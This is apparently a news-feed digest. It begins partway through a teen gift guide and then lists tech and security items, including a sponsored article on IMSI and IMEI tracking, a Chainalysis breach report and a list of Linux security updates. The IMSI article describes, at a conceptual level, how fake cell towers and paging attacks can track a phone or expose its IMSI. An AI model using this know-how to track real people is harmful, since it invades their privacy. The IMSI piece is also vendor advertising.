£39.99 at Amazon

I love my Lego Lamborghini Huracán; the fun I had making the car is the real joy of it, plus putting it on display after hours of hard work is the best feeling, especially when friends see it. I think any kid my age who likes cars would absolutely love this for Christmas. I now have my eyes on the new Lego Formula One models . Ayush, 15


Bookworms

Six colourful paperback books from the Boys of Tommen series by Chloe Walsh

Boys of Tommen series by Chloe Walsh, six-book collection set

£44.99 at Books2Door
£49.99 at Amazon

I’ve loved the Boys of Tommen book series. They’re addictive and emotional. I loved reading from all of the characters’ perspectives. Isabella, 16


Four Neal Shusterman novel covers show cloaked, hooded figures carrying scythes on colourful backgrounds

Arc of a Scythe Series, four-book collection set

£14.99 at Books2Door
£14.20 at Amazon

The Arc of a Scythe series by Neal Shusterman is perfect for fans of the Hunger Games and Divergent – it’s thrilling and impossible to put down once you’re immersed in the author’s dystopian world. Matilda, 13


Five Rick Riordan Heroes of Olympus book spines beside a cover showing a flaming dragon and a boy wielding lightning

The Heroes of Olympus: the complete five-book collection set

£16.77 at Amazon

My favourites are the Heroes of Olympus books by Rick Riordan – entertaining, great for learning Greek mythology and particularly good for reluctant readers! Alisha, 14


Book cover of ‘A Natural History of Dragons’ showing a dragon with exposed muscle anatomy on one side

A Natural History of Dragons: A Memoir by Lady Trent

£9.99 at the Guardian Bookshop
£9.99 at Waterstones

I’ve been reading A Natural History of Dragons. It’s an interesting and well-written book that takes itself semi-seriously and is full of humour mixed with interesting speculative biology of dragons. It’s also, I think, accurate to the actual time period (outside the existence of dragons) and has a female lead! Solly, 18


Games and tech

Blue Sony wireless on-ear headphones with a padded headband shown at an angle

Sony WH-CH520 Bluetooth headphones

£29.99 at John Lewis
£29.99 at Argos
A black gaming keyboard with rainbow-coloured backlighting glowing beneath its keys

Tecknet RGB gaming keyboard

£31.99 at Tecknet
£19.99 at Amazon

I love my Sony wireless Bluetooth headphones; I’ve had them for several years and still use them all the time. I like listening to music (like Ed Sheeran) and think they would make a good gift for people my age who love music. I also love the light-up keyboard for my computer; it’s really cool. I like gaming with it and showing it to my mates. James, 14


Pokémon TCG Build & Battle box showing a dark dragon-like creature on a purple backdrop

Pokémon T CG: Mega Evolution – Pitch Black

£41.99 at Debenhams
£42.85 at Amazon

I love this game. It’s not just whether you get anything good or not, it’s the surprise when you open them. With this, you get four packs and an extra 40 cards, so it’s good value. Ted, 13


A multicoloured football features a Fifa World Cup 26 trophy emblem on a white hexagonal panel

Hy-Pro Fifa World Cup 2026 size 5 PVC football

£10 at Argos
A rectangular blue portable speaker with a mesh grille and fabric strap on a white background

Bose SoundLink Flex (2nd gen)

£93 at A1 Tech Deals
£149.95 at John Lewis
Book cover for Nineteen Eighty-Four by George Orwell, showing a large eye with the title overlaid

Nineteen Eighty-Four by George Orwell

£8.49 at the Guardian Bookshop
£7.59 at Amazon

My favourite things are my football – you don’t need any other fancy equipment, and you can play on your own as well as with friends – and my Bose SoundLink Flex portable speaker. I also recommend Nineteen Eighty-Four by George Orwell – it’s an amazingly interesting book that I think everyone should read. Stan, 14


Pokémon Brilliant Diamond game box showing icy dragon-like creatures emerging from a glowing diamond

Pokémon Brilliant Diamond for Nintendo Switch

£49.99 at Argos
£42.95 at Amazon

I think people my age would definitely like this Nintendo Switch game, Pokémon Brilliant Diamond. You can get cool Pokémon and don’t need to upgrade to a Switch 2 – the game is available secondhand [for a more affordable] price too. Nathan, 13


A white wireless gaming mouse with an orange scroll wheel, shown from above

SteelSeries Sensei Pro wireless gaming mouse

£169 at Currys
£169 at Amazon

The SteelSeries Sensei Pro wireless gaming mouse is really good. Good polling rate [a test to see how fast and accurate a mouse is], two batteries and a dock. It doesn’t get interrupted by other devices, plus it’s lightweight. Dan, 16


A red Canon digital camera with a protruding flash and extended zoom lens, shown front-on

Canon PowerShot SX160IS , refurbished model

£129 at Amazon
Various prices at eBay
A white Brother LS14s sewing machine with a colourful square pattern and stitch dial

Brother LS14s manual stitch sewing machine

£89 at Argos
£99 at Amazon

I love my Canon PowerShot digital camera. I like to go to concerts and take pictures and videos – I can be in the moment. If I use my phone, I get distracted. I also love making things with my sewing machine. I recently altered an Alessi Rose top because only large sizes were left, and they were too big. I got them both secondhand as I’m really into recycling and reusing. Freya, 16


Music lovers

Beats Solo 4 Wireless Bluetooth On-Ear Headphones

Beats Solo 4 Bluetooth headphones

£199.95 at John Lewis
£199 at Amazon

I recommend Beats’ headphones. These are so comfortable, and the sound quality is amazing. Aoife, 13


A black Yamaha electronic keyboard with sheet music stand sits angled against a white background

Yamaha PSR-E383 portable keyboard for beginners

£159 at Gear4music
£159 at Amazon

I really like my Yamaha keyboard and think it’s something many teenagers would enjoy, especially for composing their own music. Ria, 14

skip past newsletter promotion

Depeche Mode’s Violator album cover: a red rose on black with cursive text

Violator by Depeche Mode, Legacy vinyl edition

£22.99 at TG Jones
£31.99 at HMV
A black Polaroid instant camera with a rainbow stripe faces forward against a white background

Polaroid Go Gen 2 instant camera set

£64.99 at Currys
£94.99 at Polaroid

I love old vinyl, like Gary Numan and Depeche Mode. The sound quality and artwork are much better than streaming. I like my Polaroid camera too – I can make instant memories that feel more special than saving a picture on my phone. Martha, 14


Beauty and fashion fans

A teal and black tube of Elf gel primer stands beside its clear cap on a white background

E l f power grip primer, 24ml

£11 at Elf
£9 at Amazon
Three Byoma skincare bottles in orange, yellow and pink stand side by side

Byoma barrier boosting beginners set

£32.37 at Boots
£35.97 at Cult Beauty

The Elf Power Grip primer is one of my favourite products. I usually find all of my favourite products through TikTok videos, and everyone loves this one. It’s lightweight enough for someone who has just started wearing makeup, and I think it’s perfect for teen skin. Honestly, anything from Elf makes a perfect gift; I got a selection of products for my birthday, and there’s still so many I want to try.

I usually ask for Byoma as a gift too. I think it’s one of the best skincare brands out there for teenagers. I love how it’s designed for layering, and it’s easy to use. I think for teens, it’s easy to feel confused about skincare or accidentally buy something more suited to older skin (like retinol), but it feels like Byoma allows us to start our skincare journey safely, with a brand that is still trending and fun. Inaaya, 15


A white and gold round-brush hair styling tool lies against a plain white background

Remington HydraLuxe hot airstyler

£49.99 at Boots

I love my Remington hot brush. It’s easy to use, cheap and gives good results. Sophia, 16


A tan suede Ugg ankle boot with sheepskin lining and thick rubber sole, shown in profile

U gg Classic ultra mini boot

From £104.99 at John Lewis
£155 at Ugg

I love Uggs as they keep your feet warm but also are very comfy – you can wear them with almost any outfit. Rosie, 13


A white Adizero EVO SL running shoe with black stripes and a cream sole, shown in profile

Adidas Adizero Evo SL running shoes, men’s

£109.99 at Sports Direct
£129.99 at Sports Shoes

Women’s

£89.50 at Very
£116.99 at Pro Direct
Beige Apple AirPods Max over-ear headphones with mesh headband and metal hinges

Apple AirPods Max 2 headphones

£499 at John Lewis
£499 at Argos

I love my Adidas Adizero Evo SL trainers because they are extra cushioned and great on a run, and my Apple AirPods Max 2 headphones, which have great noise cancelling when I’m listening to my favourite music. Tom, 17


A dark teal hoodie with a small white bubble-letter logo on the chest

Nocturn l Bubble hoodie

£55 at Nocturnl

I wear my Bubble hoodie loads. It’s unisex teen-designed streetwear that can be worn all year round. Dylan, 15


A tray of colourful rhinestones beside glue tubes, tweezers, a pink pen tool, and a wax applicator

40,000 bedazzling kit

£12.49 at Amazon

A bedazzling kit, with the crystals, glue and tweezers you need to bedazzle just about anything. It’s creative, versatile and challenging but without being too difficult. I’ve bedazzled Uno cards, a lip gloss and my Sol de Janeiro bottle! Émie, 14


A pair of fluffy grey boot slippers with textured soles stand against a white background

Warmies luxury steel grey boots

£31.99 at Warmies

Warmies slippers: I always get cold feet and can pop these in the microwave to warm up in 1min 3secs per foot! When they heat up, they smell of lavender, which is lovely. Georgia, 13


Box for the Sidemen Social Ladder card game, decorated with a ladder and ranking icons

Social Ladder card game

£6 at John Lewis
£3.50 at Amazon
A man models a blue Montirex Trail Windbreaker, holding the zip near his chin

Montirex Trail windbreaker, men’s

£34.99 at Montirex

Women’s

From £27.99 at Montirex
A blue Afnan Supremacy discovery box with five perfume bottles beside sample vials

Afnan Perfumes Supremacy discovery set

£10.10 at Notino

I love my Montirex Trail windbreaker – it looks smart, is light enough to stuff in your bag, and is great for running and everyday. Fragrances are popular at the moment, and a set with lots of different scents means you can try several out at once to find your favourite. I also like Social Ladder – a really fun, portable game that helps you connect with your friends. Sammy, 14


A smiling plush toy with a split white shell and green pistachio face, standing on brown legs

Jellycat Amuseables Horatio Pistachio

£20 at Jellycat
£20 at Scribbler
A pink gift box beside a cream, dropper bottle, and small eye cream tube skincare set

Erborian Must-Haves set

£38.50 at Lookfantastic
£38.50 at Amazon
A red box labelled ‘Starter Kit’ stands beside Anua skincare tubes, a bottle, and a dropper serum

Anua starter kit

£38 at Lookfantastic
£38 at Cult Beauty
A pink gift box stands beside a mascara tube, its wand, and spare pink cap

Benefit Get Rollin’ Roller Lash mascara makeup gift set

£22.40 at John Lewis
£28 at Sephora

I love Korean skincare products from Erborian and Anua, and Benefit mascara too. I also always have a Jellycat – I’ve collected them for years. Poppy, 17


Rhiannon Evans is a journalist and editor who’s covered everything from news and entertainment to lifestyle and parenting for some of the UK’s best titles (and some others too). She’s rarely out of leopard print, and can usually be found attempting to wrangle her kids, garden or copy into some kind of order

For more, check out the best gifts for kids by age , the best Christmas gifts for mums and the best Christmas gifts for dads


A winter banner with falling snow reads “The Filter: Best gifts for 2026”

Christmas shopping can be tough, but the Filter is here to help. We’ve been testing Christmas presents all year to help you find thoughtful, creative and genuinely brilliant gifts for everyone on your list. Browse our other gift guides for hundreds more tried-and-tested ideas, from gifts you can make yourself to toys for every age group.

Explore Christmas gifts

The President is Coping Well

Daring Fireball
www.wsj.com
2026-11-06 10:00:22
The WSJ, “Trump Signs Proclamation He Says Will Protect Oval Office From Major Changes”: President Trump signed a proclamation Thursday that he said would designate the White House’s Oval Office and Cabinet Room as landmarks to prevent future presidents from making major changes to them. “They ...
Original Article

Please enable JS and disable any ad blocker

IMSI vs IMEI: What Your Phone Broadcasts and Who Can Read It

Bleeping Computer
www.bleepingcomputer.com
2026-11-06 10:00:10
IMSI and IMEI are IDs your phone shares with networks. Learn how they differ, how attackers get them, and why rotating your IMSI blunts tracking. [...]...
Original Article

Cell tower

In April 2026, BleepingComputer reported that Canadian authorities arrested three men for operating an “SMS blaster,” a device that pretends to be a cell tower to send phishing texts to nearby phones.

It’s a close cousin of the IMSI catcher, the fake-tower device used for surveillance. Both work by tricking phones into connecting to the strongest signal and sharing information before anything is authenticated.

One of the main things a fake tower can collect this way is your IMSI, the identifier tied to your SIM, but it’s far from the only thing your phone gives away.

What information does your phone actually broadcast?

Your phone has several radios that connect to different kinds of signals and share different information.

The Wi-Fi and Bluetooth radios share hardware addresses, which modern phones randomize or rotate to reduce tracking.

The cellular radio reveals two identifiers that typically never change: the IMSI, which is tied to your SIM card, and the IMEI, which is tied to your device.

IMSI vs IMEI

The IMSI (International Mobile Subscriber Identity) is a unique number assigned by your mobile carrier when you sign up for your service. It lives on your SIM card, and is used by the network to look you up and authenticate you. For the most part, your IMSI never changes.

The IMEI (International Mobile Equipment Identity) is a unique number tied to your physical phone. Unlike the IMSI, the network doesn’t authenticate it, so it names a device without proving anything.

How well each is protected depends on the cellular generation in use. The standards come from 3GPP, the industry body that writes mobile network specifications. Newer generations protect identifiers better, but phones fall back to older ones, which is where fake towers come in.

Network

IMSI

IMEI

2G/3G

Sent in plaintext (unencrypted)

Transmitted in plaintext and allowed to be sent without secured channel

4G (LTE)

Sent in plaintext the first time a phone connects, then replaced by a temporary ID (a GUTI) to reduce the exposure of the IMSI.

Sent only after mutual authentication

5G standalone

Encrypted (as a Subscription Concealed Identifier, or SUCI).

Sent only after mutual authentication

How your IMSI can be leaked

  1. IMSI catchers/fake base stations: In 4G, a phone will send its IMSI in plaintext to a tower that hasn’t proven who it is, which is what an IMSI catcher exploits. 5G’s SUCI encryption is meant to close that gap, but because 5G coverage isn’t universal, an IMSI catcher can still downgrade your device to 4G or below.

  2. Paging attacks: An idle phone saves battery by sleeping and waking only at set moments, called paging occasions, to check for incoming calls, texts, or notifications. In 4G, that slot is calculated from the IMSI with a publicly documented formula, so while the IMSI never changes, neither does the slot. (5G calculates it from a temporary ID instead.)

In a 2019 paper , researchers showed how to exploit this.

An attacker who knows your phone number can trigger “silent calls” (calls cut off before your phone rings), texts, or app notifications, and uses a nearby radio receiver to watch which slot sees activity.

After about eight tries on average, the pattern confirms you’re in that area, with no fake tower needed. It worked against all the US carriers tested.

This paging attack is a stepping stone to a more serious one: using a fake tower, an attacker can link your phone number directly to your IMSI. Some carriers, when normal pages to a phone’s temporary ID fail, fall back to broadcasting the raw IMSI in paging messages. Knowing your paging slot, an attacker can trigger that fallback.

A fake tower hijacks your paging channel to block the network’s pages, and a single silent call then makes the carrier send your IMSI over the air where the attacker captures it. The researchers validated this against one major US carrier.

Once an attacker has your IMSI, they can track your location or intercept your calls and texts through signaling attacks, which we covered in an earlier article .

What about the IMEI?

Think of an IMSI catcher as a license plate reader for phones: the IMSI is the plate, which follows your SIM, and the IMEI is the VIN, which stays with the device. In 4G and 5G, a basic fake tower gets the plate but not the VIN, because a phone sends its IMEI only after authenticating with the network.

An attacker generally has to downgrade the phone to an older network first, or use authentication data obtained earlier through SS7 or Diameter attacks, which themselves start with an IMSI. The IMSI rather than the IMEI is used to route a call or look up your location through signaling.

However, if your mobile carrier itself is compromised, whoever has access would be able to track you by your IMEI.

Protect yourself with private cell service.

Cape is America's privacy-first mobile carrier providing unlimited talk, text, and 4G/5G data, built from the ground up with privacy and security at its core.

Most carriers track everything: where you go, who you call, what you do. Cape collects the minimum amount of information required to provide you with service, deletes call and text metadata after 24 hours, rotates your network ID to prevent tracking, defends against SIM- and network-based attacks, and more.

Privacy shouldn't cost more. Switch today and get $29 off for life.

Learn More

Why rotating the IMSI helps

Cape’s Identifier Rotation changes your IMSI every 24 hours, or on demand, cycling through seven IMSIs a week drawn from a shared pool that’s constantly reassigned among customers, so each IMSI carries a tangled history of many people’s activity.

Here’s what that does:

  • Harvested IMSIs go stale. Signaling attacks start by harvesting a target’s IMSI , which on a typical carrier stays useful for years. A rotated one stops pointing at you within a day. An attacker can still ask for your current IMSI in real time, which is why rotation is layered on top of Cape’s signaling protections .

  • The paging fingerprint moves. In 4G, a new IMSI means a new paging slot, so any pattern an attacker builds no longer matches.

  • IMSI catchers lose the thread. A catcher can still grab today’s IMSI, but it can’t match it to yesterday’s, so it can’t build a history of you or confirm you’re nearby using an IMSI it learned earlier. Cape plus GrapheneOS adds LTE-only mode , which blocks downgrades.

ID rotation

For most people, the tracking that matters is the long-term kind built on a stable identifier, which is what rotation breaks.

Switch to a carrier that rotates your identifiers. Learn more about Cape →

Sponsored and written by Cape .

Pinpointing Location of Videos from Background Airplane Sounds

Schneier
www.schneier.com
2026-11-06 09:57:48
This is fascinating: The video describes a technique that can reveal where an otherwise unidentifiable recording was made by analyzing its audio for the faint sounds of passing aircraft. The technique is both fascinating and frightening. It works by looking at Doppler curves, which plot the way a pl...
Original Article

This is fascinating :

The video describes a technique that can reveal where an otherwise unidentifiable recording was made by analyzing its audio for the faint sounds of passing aircraft. The technique is both fascinating and frightening.

It works by looking at Doppler curves, which plot the way a plane’s sound changes as it passes overhead because of the Doppler effect. This is the same familiar Doppler effect that causes the frequency of a siren to rise as it approaches and then fall as it passes by and moves away. More generally, it’s the phenomenon whereby the frequency of a wave perceived by an observer changes when the observer and the source of the wave are moving in relation to one another.

[…]

It’s sound that’s relevant here, though, and specifically the sound of aeroplanes. Early in his video, Colsto brings up a map of the flights that were in the air at the time the video he’s tracing was recorded. Much of this information is publicly available. Aircraft equipped with Automatic Dependent Surveillance–Broadcast (ADS-B) transmit data about their position, velocity, and altitude, which flight-tracking services collect and make available to the public. While not every plane is tracked, the system provides an enormous amount of information about aircraft movements.

Posted on November 6, 2026 at 9:57 AM • 0 Comments

Sidebar photo of Bruce Schneier by Joe MacInnis.

Pushing the Limits with getaddrinfo

Lobsters
acid.vegas
2026-11-06 09:47:48
Comments...
Original Article
Timed out getting readerview for https://acid.vegas/blog/pushing-the-limits-with-getaddrinfo/

Local-first meeting notetaker. On-device transcription, no stored audio, E2E encrypted sync

Lobsters
hellonod.app
2026-11-06 09:33:22
Comments...
Original Article

Nod is in testing. Expect rough edges, and please tell me when something breaks. Report a problem

Local-first AI meeting notetaker

A conversation turns into four kinds of data: the audio, the transcript, the notes, and the keys that protect them. Nod is designed so that only one of them can leave your device, and only in a form nobody else can read.

1 What leaves the device

Audio exists in memory only for as long as the speech model needs to hear it. Nothing writes it to disk, to a cache, to a temporary file, or to a crash report. If the app is killed in the middle of a meeting, the transcript written so far is already saved. The audio that wasn't heard yet is gone.

Transcripts and notes are stored on your device, one encrypted file per meeting. The file key never leaves the keychain.

The vault key exists as twenty-four words on paper and in the keychains of your devices. It leaves a device only once: encrypted for a phone you pair, over your own network.

Who can read what. Each row is a party, and each cell is the form in which they hold the data.
Audio Transcript and notes Keys
Your devices In memory, while recording Readable, after the keychain unlocks the file In the keychain
The folder or relay that sync goes through — Encrypted only —
Nod, the company — Encrypted files and sync metadata, and only if you choose a relay I run. Nothing otherwise —
People and teams you share with — The title and summary of the meetings you share, nothing else —
An AI assistant you connect — What you allow: notes, transcripts, or both —

YOUR DEVICE Microphone system audio Speech model in memory, as heard Transcript saved as it is spoken Notes summary model never written to disk Encrypted file AES-256-GCM Keychain holds the file key unlocks Encrypted for sync with the vault key the meeting id is bound into the tag. the sync copy binds the vault and device ids too FOLDER OR RELAY encrypted no key, nothing to read self-hostable YOUR OTHER DEVICE Encrypted file merged with Automerge Vault key from 24 words or a QR code unlocks Transcript and notes readable, only on your devices a key, never sent to a server holds encrypted files only There is no account. If you choose a relay I run, it holds the encrypted files like any other relay, and can't open them.

The path of one meeting. Solid boxes hold readable data and exist only on your devices. The shaded path between them carries encrypted files that the folder or relay can't open.

2 The cipher

Each meeting is encrypted with AES-256-GCM, the authenticated cipher that most operating systems and browsers already ship with. An encrypted file starts with a version byte and a fresh 96-bit nonce. The ciphertext and a 128-bit tag follow. The meeting's identity is bound into the tag as associated data. So a file copied into another meeting, another device, or another vault fails to open, instead of opening as something it isn't.

The file key is a random 256-bit key that the operating system's keychain wraps. That's the Keychain on macOS, DPAPI on Windows, a keyring on Linux, and the Keychain or Keystore on phones. The vault key that encrypts files for sync is a separate 256-bit root, written as twenty-four BIP39 words. Every purpose gets its own key derived from it with HKDF-SHA256. A key exposed in one role says nothing about another.

3 Sync without a server that can read

Your devices share meetings through a place you choose. It can be a folder that a file sync you already trust carries, or a relay, a small server anyone can run from the repository. Both see the same thing: encrypted files named by device and meeting, with their sizes and times. Neither can open them.

The vault key is never sent to a server. Each device derives it from the twenty-four words of the recovery phrase. A phone gets it by scanning a QR code that carries a one-time pairing secret.

Every meeting is one Automerge document. That's a data structure that merges edits from several devices without a central authority, and without dropping any of them. If two devices rename the same meeting, or edit the same line, both end up with the same result. Deleting a meeting writes a tombstone that every device adopts. A deletion is a deletion everywhere.

4 Installing and updating

On a Mac, Nod is signed with my Apple Developer ID and notarized by Apple. macOS opens it like any other app.

On Windows, the installer isn't signed yet. So the first time you run it, Windows shows a blue warning that says "Windows protected your PC." Click "More info", then "Run anyway". The warning means Windows doesn't know the publisher yet. It doesn't mean it found a problem with the file.

I plan to sign the Windows installer as soon as I have a code signing certificate. Until then, you can check a download by hand. Every release has a SHA256SUMS file with the hash of each file in it.

Updates don't depend on that signature. Each release lists its files and their SHA-256 hashes, and that list is signed with my release key. Nod checks a new version against the list before it installs anything, on Windows too. It ignores a list the key didn't sign.

On Linux, Nod comes as a deb or rpm package. When a new version is out, the app tells you and opens its release page.

5 Specification

What the desktop app does, as it is written in its repository.
Storage One encrypted file per meeting, written atomically
Cipher AES-256-GCM, with a 96-bit nonce and a 128-bit tag. The meeting id is bound as associated data, plus the vault and device ids for a sync copy
Key at rest A random 256-bit key, wrapped by the operating system's keychain: Keychain, DPAPI, or a Linux keyring, and Keychain or Keystore on phones
Vault key A 256-bit root, written as 24 BIP39 words. A key per purpose is derived from it with HKDF-SHA256, so no key stands in for another
Sync document Automerge, one per meeting. Text merges character by character, and deletions propagate as tombstones
Sync transport A folder you already sync, or a relay you can self-host. Both carry encrypted files only
Pairing a phone A QR code with a one-time secret. The offer is encrypted with a key derived from it, and the proof sent to fetch it reveals nothing about that key
Speech recognition Parakeet TDT 0.6B v3 or Whisper, running on your device
Notes Qwen3 4B Instruct, running on your device once the meeting is over
Models Downloaded from a pinned revision, and moved into place only after the size and SHA-256 match
Audio Processed in memory. Never written to disk, cache, or crash reports
Sharing A meeting's title and summary, encrypted for one person or for a team's members. Each person is known by an identity derived from the recovery phrase, checked by an 80-bit code. Team roles: owner, admin, writer, reader
AI assistants A read-only MCP server on localhost, with a key per assistant that you can revoke. Each reads notes, transcripts, or both, as you allow
Code signing macOS: Developer ID, notarized by Apple. Windows: not signed yet, so SmartScreen warns on install. Updates on every platform are checked against an Ed25519-signed list of files and hashes
Platforms macOS, Windows, and Linux now. iPhone and Android in progress, on the same core
Source Open at launch, under the Apache 2.0 license. The sync relay is in the same repository, under the AGPL v3

NY Assembly Speaker Carl Heastie Goes to a Celtics Game…

hellgate
hellgatenyc.com
2026-11-06 09:30:00
And a concessions company gets a tax break....
Original Article

Assembly Speaker Carl Heastie, one of the most powerful people in New York, is a man of sundry interests. He loves cars , he loves bail reform , he loves his dog , he LOVES Prince . And he really loves sports. Specifically, the strange combination of the Dallas Cowboys, the Boston Celtics, and the New York Yankees.

As New York Focus reported this week, you can find evidence of Heastie's sports mania in the campaign finance filings of the Democratic Assembly Campaign Committee, which, since Heastie became speaker, has spent upwards of $1 million on sports-related expenses including luxury box tickets, meet-and-greets, and lavish concessions. And Heastie's social media is full of honestly envy-inducing sports experiences.

The DACC is supposed to be a fundraising mechanism for Assembly Democrats, and Heastie has claimed that the sporting events were fundraisers. "That story is beyond pointless," Heastie's spokesperson Mike Whyland wrote in an email to Hell Gate. "Those sporting events raised more than $10 million and after Tuesday it looks like it was money well spent." Heastie responded to the New York Focus story on Instagram, writing in part, "For years this newspaper has been trying to insinuate illegal and unethical things…It’s called fundraising stupid." But it's not always clear how the luxury tickets benefited any New York assemblymembers' campaigns—especially when some took place at Boston's TD Garden. In its filings, the committee characterized much of its sports spending as "office expenses."

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Chainalysis says breach exposed credentials for all customers

Bleeping Computer
www.bleepingcomputer.com
2026-11-06 09:17:07
Blockchain intelligence firm Chainalysis says a recent attack on its systems and internal tools has exposed credentials and live tokens for all customers. [...]...
Original Article

Chainalysis

Blockchain intelligence firm Chainalysis says a recent attack on its systems and internal tools has exposed credentials and live tokens for all customers.

Chainalysis provides blockchain analysis tools to trace cryptocurrency transactions and investigate crimes such as fraud, ransomware, and money laundering. Its customer list includes law enforcement, government agencies, financial institutions, insurance companies, and cryptocurrency businesses worldwide.

This follows the company's disclosure last Friday that attackers using AI tools accessed customers' names, email addresses, user IDs, and organizational role labels using what it described as "offensive agentic techniques."

image

While it initially said the impact was limited and the breach affected only non-sensitive identity metadata, later updates revealed that usernames and password hashes for all customers were exposed in an "on-path attack" (more commonly known as a Man-in-the-Middle or MITM attack).

However, the company found no evidence that the attackers accessed investigative graph data or altered its blockchain attribution repositories.

"On Monday, we discovered certain customer information including names, usernames, password hashes and live tokens for all Chainalysis users were exposed to a malicious actor," it said in a Wednesday update. "At this time we continue to have no evidence that any investigations data has been accessed or Chainalysis attribution data has been manipulated."

While the company locked Chainalysis accounts as a precaution after discovering that some customers' passwords had been exposed and asked users to reset their passwords before signing in again, it has now taken the login portal offline, together with Reactor and Data Solutions, the Know-Your-Transaction (KYT) user interface and API, and address screening products, after discovering further abnormal activity.

To ensure threat actors don't access affected accounts, Chainalysis asked customers to provide trusted IP addresses so they can regain access to the login portal once it is brought back online and reset their credentials.

"Contact support@chainalysis.com or your Chainalysis account team with trusted IP addresses for our allowlist. We will then grant access for users to reset their passwords and rotate API keys to register transactions. We are working around the clock to harden our systems and bring Reactor and Data Solutions back online. We will require additional protections to access accounts, including that every user will have to reset passwords and rotate API keys as appropriate," it added .

"Once access is granted, all users will be required to reset their passwords and rotate API keys, as applicable, before registering transactions," the company noted earlier today.

Chainalysis' disclosure follows several other security incidents affecting cryptocurrency companies in recent weeks. Ledger also asked Asian resellers and distributors last month to remove products from shelves and halt wallet sales while it is investigating multiple hardware implant incidents.

More recently, crypto exchange Binance revealed that North Korean hackers stole roughly $6.34 billion worth of cryptocurrency after compromising its wallet infrastructure by infecting an employee's laptop with malware during a fake job interview.

article image

Uncover email threats your existing defenses may miss.

Adaptive Security's AI agents analyze email intent, context, and behavior to uncover phishing, business email compromise, and invoice fraud.

See what's getting through with a 14-day read-only scan of Microsoft 365 or Google Workspace, with no MX changes.

Start your free email security scan.

Security updates for Friday

Linux Weekly News
lwn.net
2026-11-06 09:04:54
Security updates have been issued by AlmaLinux (cockpit-files, container-tools:rhel8, delve, gcc-toolset-12-binutils, gimp:2.8, glibc, go-toolset:rhel8, kernel, libfastjson, mariadb:10.3, mod_auth_openidc:2.3, mysql:8.0, php:8.0, pki-core:10.6 and pki-deps:10.6, squid:4, tang, tesseract, thunderbird...
Original Article
Dist. ID Release Package Date
AlmaLinux ALSA-2026:95570 10 cockpit-files 2026-11-06
AlmaLinux ALSA-2022:7822 8 container-tools:rhel8 2026-11-05
AlmaLinux ALSA-2026:95519 10 delve 2026-11-06
AlmaLinux ALSA-2026:95518 9 delve 2026-11-06
AlmaLinux ALSA-2023:2873 8 gcc-toolset-12-binutils 2026-11-05
AlmaLinux ALSA-2026:95482 8 gimp:2.8 2026-11-05
AlmaLinux ALSA-2026:95618 9 glibc 2026-11-06
AlmaLinux ALSA-2026:95638 8 go-toolset:rhel8 2026-11-06
AlmaLinux ALSA-2026:95367 10 kernel 2026-11-05
AlmaLinux ALSA-2026:95370 9 kernel 2026-11-05
AlmaLinux ALSA-2023:6431 9 libfastjson 2026-11-05
AlmaLinux ALSA-2023:5259 8 mariadb:10.3 2026-11-05
AlmaLinux ALSA-2023:6940 8 mod_auth_openidc:2.3 2026-11-05
AlmaLinux ALSA-2024:0894 8 mysql:8.0 2026-11-05
AlmaLinux ALSA-2023:3087 8 mysql:8.0 2026-11-05
AlmaLinux ALSA-2023:0848 8 php:8.0 2026-11-05
AlmaLinux ALSA-2022:7470 8 pki-core:10.6 and pki-deps:10.6 2026-11-05
AlmaLinux ALSA-2023:7668 8 squid:4 2026-11-06
AlmaLinux ALSA-2023:7022 8 tang 2026-11-05
AlmaLinux ALSA-2026:95085 10 tesseract 2026-11-05
AlmaLinux ALSA-2026:95725 8 tesseract 2026-11-06
AlmaLinux ALSA-2025:2900 8 thunderbird 2026-11-06
AlmaLinux ALSA-2023:0099 8 virt:rhel and virt-devel:rhel 2026-11-05
Debian DLA-4882-1 LTS chromium 2026-11-05
Debian DLA-4883-1 LTS ntfs-3g 2026-11-05
Debian DLA-4884-1 LTS puppet-agent 2026-11-05
Debian DLA-4885-1 LTS trapperkeeper-authorization-clojure 2026-11-05
Fedora FEDORA-2026-f40014e752 F45 freerdp 2026-11-06
Fedora FEDORA-2026-ffdd457751 F44 goose 2026-11-06
Fedora FEDORA-2026-5778d995b3 F45 goose 2026-11-06
Fedora FEDORA-2026-d39bedb422 F45 gpsd 2026-11-06
Fedora FEDORA-2026-2ef243ce94 F43 hatch 2026-11-06
Fedora FEDORA-2026-01f9a44339 F44 hatch 2026-11-06
Fedora FEDORA-2026-1168b946ef F45 hatch 2026-11-06
Fedora FEDORA-2026-5ca1419368 F43 perl-HTTP-Headers-ActionPack 2026-11-06
Fedora FEDORA-2026-e94650c1ee F44 perl-HTTP-Headers-ActionPack 2026-11-06
Fedora FEDORA-2026-37e6cc76fc F45 perl-HTTP-Headers-ActionPack 2026-11-06
Fedora FEDORA-2026-a415b3bf48 F43 perl-MIME-tools 2026-11-06
Fedora FEDORA-2026-0e79d6ad13 F44 perl-MIME-tools 2026-11-06
Fedora FEDORA-2026-51fdfb7476 F45 perl-MIME-tools 2026-11-06
Fedora FEDORA-2026-a2bcaf6c4d F43 perl-Plack 2026-11-06
Fedora FEDORA-2026-83600dbb0b F44 perl-Plack 2026-11-06
Fedora FEDORA-2026-e720c67bd5 F45 perl-Plack 2026-11-06
Fedora FEDORA-2026-a2df1dfb37 F43 perl-Starman 2026-11-06
Fedora FEDORA-2026-2106e35a84 F44 perl-Starman 2026-11-06
Fedora FEDORA-2026-c02d051eaf F45 perl-Starman 2026-11-06
Fedora FEDORA-2026-d2e76a72c7 F43 proftpd 2026-11-06
Fedora FEDORA-2026-e68a51a81c F44 proftpd 2026-11-06
Fedora FEDORA-2026-768558f4ba F45 proftpd 2026-11-06
Fedora FEDORA-2026-340793a2f1 F43 python-mistune 2026-11-06
Fedora FEDORA-2026-ea39a303cf F44 python-mistune 2026-11-06
Fedora FEDORA-2026-80070d1931 F45 ruby-build 2026-11-06
Fedora FEDORA-2026-45268841b3 F45 rust-crypto-bigint 2026-11-06
Fedora FEDORA-2026-45268841b3 F45 rust-ctutils 2026-11-06
Fedora FEDORA-2026-45268841b3 F45 rust-elliptic-curve 2026-11-06
Fedora FEDORA-2026-45268841b3 F45 rust-num-bigint 2026-11-06
Fedora FEDORA-2026-45268841b3 F45 rust-num-bigint0.4 2026-11-06
Fedora FEDORA-2026-45268841b3 F45 rust-num-modular 2026-11-06
Fedora FEDORA-2026-45268841b3 F45 rust-num-modular0.6 2026-11-06
Fedora FEDORA-2026-45268841b3 F45 rust-num-prime 2026-11-06
Fedora FEDORA-2026-45268841b3 F45 rust-zmij 2026-11-06
Fedora FEDORA-2026-965f6f4669 F43 rust-zstd 2026-11-06
